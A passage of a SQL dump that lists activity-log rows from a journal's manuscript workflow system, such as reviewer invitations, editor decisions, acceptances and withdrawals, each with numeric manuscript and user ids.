Reviewer',8742,'Publisher',85),(82681,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82682,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82683,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82684,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82685,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82686,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82687,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82688,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82689,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82690,'0000-00-00 00:00:00','Publisher : Notified Editor',8588,'Publisher',85),(82700,'0000-00-00 00:00:00','Author sent Email',7924,'Author',9134),(82701,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8766,'Author',9821),(82706,'0000-00-00 00:00:00','Reviewer has submitted comments',8742,'Reviewer',15586),(82710,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8771,'Author',9827),(82711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8705,'Publisher',274),(82712,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7290,'Publisher',274),(82721,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8738,'Publisher',645),(82723,'0000-00-00 00:00:00','Publisher : Notified Editor',8742,'Publisher',85),(82726,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8704,'Editor',194),(82727,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8704,'Editor',194),(82728,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8704,'Publisher',48),(82738,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8170,'Editor',1406),(82739,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8170,'Editor',1406),(82740,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8170,'Publisher',984),(82741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82743,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82746,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82747,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82749,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82750,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82751,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82752,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82753,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82754,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8633,'Publisher',984),(82757,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7926,'Publisher',75),(82758,'0000-00-00 00:00:00','Reviewer has submitted comments',7926,'Reviewer',11589),(82759,'0000-00-00 00:00:00','Publisher : Notified Editor',7926,'Publisher',75),(82760,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8729,'Editor',162),(82761,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7926,'Editor',162),(82762,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7926,'Publisher',75),(82763,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7926,'Publisher',75),(82764,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7926,'Publisher',75),(82766,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8541,'Publisher',85),(82767,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8742,'Editor',1394),(82768,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8742,'Editor',1394),(82769,'0000-00-00 00:00:00','Publisher : Notified Author',8742,'Publisher',85),(82770,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8753,'Publisher',645),(82772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82773,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82774,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82775,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82776,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82780,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82781,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82816,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8491,'Publisher',85),(82832,'0000-00-00 00:00:00','Reviewer has submitted comments',8705,'Reviewer',12022),(82891,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8766,'Publisher',48),(82919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8707,'Publisher',274),(82931,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8783,'Publisher',85),(82994,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(82995,'0000-00-00 00:00:00','Reviewer has submitted comments',8707,'Reviewer',12022),(82996,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(82997,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(82999,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8766,'Publisher',48),(83000,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8766,'Publisher',48),(83015,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8541,'Publisher',85),(83016,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83017,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83018,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83019,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83020,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83021,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83022,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83023,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(83024,'0000-00-00 00:00:00','Reviewer has submitted comments',8494,'Reviewer',7021),(83052,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8789,'Author',9840),(83065,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8783,'Publisher',85),(83069,'0000-00-00 00:00:00','Manuscript has been Revised',8742,'Author',9806),(83077,'0000-00-00 00:00:00','Reviewer has submitted comments',8531,'Reviewer',17215),(83078,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8783,'Editor',1675),(83079,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8783,'Editor',1675),(83080,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8783,'Publisher',85),(83081,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8531,'Editor',1367),(83082,'0000-00-00 00:00:00','Publisher : Notified Editor',8742,'Publisher',85),(83083,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8531,'Editor',1367),(83084,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8532,'Editor',1310),(83085,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8532,'Editor',1310),(83087,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8531,'Publisher',972),(83089,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8532,'Publisher',972),(83090,'0000-00-00 00:00:00','Author sent Email',8074,'Author',9248),(83113,'0000-00-00 00:00:00','Reviewer has submitted comments',8139,'Reviewer',17682),(83114,'0000-00-00 00:00:00','Reviewer has submitted comments',8158,'Reviewer',9900),(83115,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8321,'Editor',1666),(83116,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8139,'Editor',1666),(83117,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8321,'Editor',1666),(83118,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8158,'Editor',1664),(83119,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8359,'Editor',1665),(83120,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8381,'Editor',1663),(83121,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8442,'Editor',1668),(83122,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8705,'Editor',1668),(83123,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8705,'Editor',1668),(83124,'0000-00-00 00:00:00','Publisher : Notified Author',8705,'Publisher',274),(83125,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8139,'Publisher',274),(83126,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8158,'Publisher',274),(83127,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8321,'Publisher',274),(83128,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8359,'Publisher',274),(83129,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8381,'Publisher',274),(83130,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8442,'Publisher',274),(83162,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8796,'Author',9847),(83165,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8797,'Author',9848),(83180,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8789,'Publisher',48),(83187,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8229,'Publisher',48),(83188,'0000-00-00 00:00:00','Reviewer has submitted comments',8229,'Reviewer',11689),(83189,'0000-00-00 00:00:00','Reviewer has submitted comments',8229,'Reviewer',11689),(83190,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8229,'Editor',194),(83191,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8229,'Editor',194),(83192,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8229,'Editor',194),(83193,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8229,'Editor',194),(83194,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8229,'Publisher',48),(83195,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8229,'Publisher',48),(83212,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6979,'Publisher',48),(83214,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8789,'Publisher',48),(83215,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8789,'Publisher',48),(83216,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8789,'Publisher',48),(83217,'0000-00-00 00:00:00','Reviewer has submitted comments',6979,'Reviewer',11689),(83218,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6979,'Editor',194),(83219,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6979,'Editor',194),(83220,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6979,'Publisher',48),(83221,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6979,'Publisher',48),(83222,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7091,'Publisher',48),(83223,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7077,'Publisher',48),(83224,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7445,'Publisher',48),(83225,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7594,'Publisher',48),(83226,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8282,'Editor',194),(83227,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8282,'Editor',194),(83228,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8282,'Publisher',48),(83233,'0000-00-00 00:00:00','Manuscript Submitted by Author',8807,'Author',9666),(83252,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8707,'Editor',1594),(83253,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8707,'Editor',1594),(83255,'0000-00-00 00:00:00','Publisher : Notified Author',8707,'Publisher',274),(83256,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8139,'Publisher',274),(83257,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8158,'Publisher',274),(83259,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8321,'Publisher',274),(83260,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8359,'Publisher',274),(83321,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8156,'Publisher',48),(83322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8156,'Publisher',48),(83323,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8156,'Editor',194),(83324,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8789,'Editor',194),(83325,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8789,'Editor',194),(83326,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8797,'Publisher',319),(83327,'0000-00-00 00:00:00','Reviewer has submitted comments',8156,'Reviewer',11689),(83328,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8156,'Editor',194),(83329,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8156,'Publisher',48),(83330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8282,'Publisher',48),(83331,'0000-00-00 00:00:00','Reviewer has submitted comments',8282,'Reviewer',11689),(83332,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8282,'Editor',194),(83333,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8282,'Publisher',48),(83334,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8797,'Editor',1069),(83357,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8807,'Publisher',85),(83367,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8553,'Publisher',248),(83371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8797,'Publisher',319),(83372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8797,'Publisher',319),(83373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8797,'Publisher',319),(83374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8797,'Publisher',319),(83375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8797,'Publisher',319),(83404,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8381,'Publisher',274),(83445,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(83446,'0000-00-00 00:00:00','Reviewer has submitted comments',7445,'Reviewer',11689),(83447,'0000-00-00 00:00:00','Reviewer has submitted comments',7445,'Reviewer',11689),(83448,'0000-00-00 00:00:00','Reviewer has submitted comments',7445,'Reviewer',11689),(83451,'0000-00-00 00:00:00','Reviewer has submitted comments',8588,'Reviewer',15588),(83458,'0000-00-00 00:00:00','Reviewer has submitted comments',8797,'Reviewer',12875),(83459,'0000-00-00 00:00:00','Publisher : Notified Editor',8797,'Publisher',319),(83460,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8797,'Editor',1069),(83461,'0000-00-00 00:00:00','Publisher : Notified Author',8797,'Publisher',319),(83483,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7445,'Publisher',48),(83484,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7504,'Publisher',48),(83485,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8194,'Publisher',48),(83486,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83487,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83488,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83489,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83490,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83491,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83492,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83493,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83494,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83495,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83496,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83497,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83498,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8048,'Publisher',48),(83499,'0000-00-00 00:00:00','Author sent Email',8102,'Author',9275),(83502,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8830,'Author',9871),(83509,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8836,'Author',9877),(83510,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8596,'Publisher',376),(83511,'0000-00-00 00:00:00','Reviewer has submitted comments',8588,'Reviewer',18101),(83539,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8837,'Author',9878),(83550,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8838,'Author',9879),(83588,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8836,'Publisher',984),(83589,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8170,'Publisher',984),(83603,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8442,'Publisher',274),(83606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7735,'Publisher',48),(83607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7735,'Publisher',48),(83609,'0000-00-00 00:00:00','Reviewer has submitted comments',7735,'Reviewer',11689),(83610,'0000-00-00 00:00:00','Reviewer has submitted comments',7735,'Reviewer',11689),(83611,'0000-00-00 00:00:00','Reviewer has submitted comments',7735,'Reviewer',11689),(83612,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7735,'Editor',194),(83613,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7735,'Editor',194),(83614,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7735,'Publisher',48),(83621,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8807,'Publisher',85),(83643,'0000-00-00 00:00:00','Reviewer has submitted comments',8491,'Reviewer',18101),(83710,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7450,'Publisher',48),(83716,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7450,'Editor',194),(83717,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7450,'Publisher',48),(83718,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7450,'Publisher',48),(83719,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8429,'Publisher',48),(83720,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7990,'Publisher',48),(83732,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8845,'Author',9887),(83750,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8846,'Author',9888),(83757,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',8797,'Publisher',319),(83758,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7990,'Publisher',48),(83759,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7093,'Publisher',48),(83761,'0000-00-00 00:00:00','Author sent Email',7594,'Author',3375),(83765,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83766,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83767,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83768,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83769,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83770,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83771,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83773,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83774,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83775,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83776,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8836,'Publisher',984),(83778,'0000-00-00 00:00:00','Reviewer has submitted comments',8521,'Reviewer',18206),(83779,'0000-00-00 00:00:00','Reviewer has updated comments',8521,'Reviewer',18206),(83780,'0000-00-00 00:00:00','Reviewer has updated comments',8521,'Reviewer',18206),(83781,'0000-00-00 00:00:00','Reviewer has updated comments',8521,'Reviewer',18206),(83782,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8848,'Author',9890),(83789,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8837,'Publisher',274),(83790,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8838,'Publisher',274),(83843,'0000-00-00 00:00:00','Reviewer has submitted comments',8115,'Reviewer',11689),(83844,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8115,'Publisher',48),(83845,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8115,'Publisher',48),(83847,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(83848,'0000-00-00 00:00:00','Reviewer has submitted comments',8704,'Reviewer',11689),(83849,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8704,'Editor',194),(83850,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8704,'Publisher',48),(83851,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8704,'Publisher',48),(83864,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8848,'Publisher',85),(83865,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83866,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83867,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83868,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83869,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83884,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8846,'Publisher',75),(83885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8729,'Publisher',75),(83886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8729,'Publisher',75),(83887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8729,'Publisher',75),(83888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8729,'Publisher',75),(83889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8729,'Publisher',75),(83896,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8863,'Publisher',48),(83897,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8591,'Publisher',85),(83898,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8591,'Publisher',85),(83899,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8742,'Editor',1394),(83910,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8864,'Author',9903),(83912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8837,'Publisher',274),(83928,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8845,'Publisher',972),(83929,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8845,'Publisher',972),(83930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8845,'Publisher',972),(83931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8845,'Publisher',972),(83932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8845,'Publisher',972),(83947,'0000-00-00 00:00:00','Reviewer has submitted comments',8837,'Reviewer',12022),(83979,'0000-00-00 00:00:00','Manuscript Submitted by Author',8872,'Author',6489),(83980,'0000-00-00 00:00:00','Manuscript Submitted by Author',8873,'Author',6489),(83981,'0000-00-00 00:00:00','Manuscript Submitted by Author',8874,'Author',6489),(83983,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83984,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83985,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83986,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83987,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83988,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83989,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83990,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8848,'Publisher',85),(83991,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8742,'Publisher',85),(83992,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8863,'Publisher',48),(83993,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8588,'Editor',1574),(83995,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(84040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8753,'Publisher',645),(84051,'0000-00-00 00:00:00','Reviewer has submitted comments',8753,'Reviewer',17489),(84054,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8753,'Editor',633),(84055,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8738,'Editor',633),(84056,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8696,'Editor',633),(84057,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8625,'Editor',633),(84058,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8753,'Editor',633),(84059,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8738,'Editor',633),(84060,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8696,'Editor',633),(84062,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8625,'Editor',633),(84063,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84064,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84065,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84066,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84067,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84068,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8738,'Publisher',645),(84069,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8696,'Publisher',645),(84071,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8696,'Publisher',645),(84072,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8696,'Publisher',645),(84073,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8696,'Publisher',645),(84074,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8696,'Publisher',645),(84075,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8625,'Publisher',645),(84076,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8625,'Publisher',645),(84077,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8625,'Publisher',645),(84078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8625,'Publisher',645),(84079,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8625,'Publisher',645),(84080,'0000-00-00 00:00:00','Reviewer has submitted comments',8738,'Reviewer',4516),(84081,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8738,'Editor',633),(84085,'0000-00-00 00:00:00','Reviewer has submitted comments',8696,'Reviewer',4512),(84086,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8696,'Editor',633),(84087,'0000-00-00 00:00:00','Reviewer has submitted comments',8625,'Reviewer',17489),(84089,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8625,'Editor',633),(84091,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8753,'Publisher',645),(84092,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8738,'Publisher',645),(84093,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8625,'Publisher',645),(84094,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8460,'Publisher',645),(84095,'0000-00-00 00:00:00','Publisher has been Accepted Articles  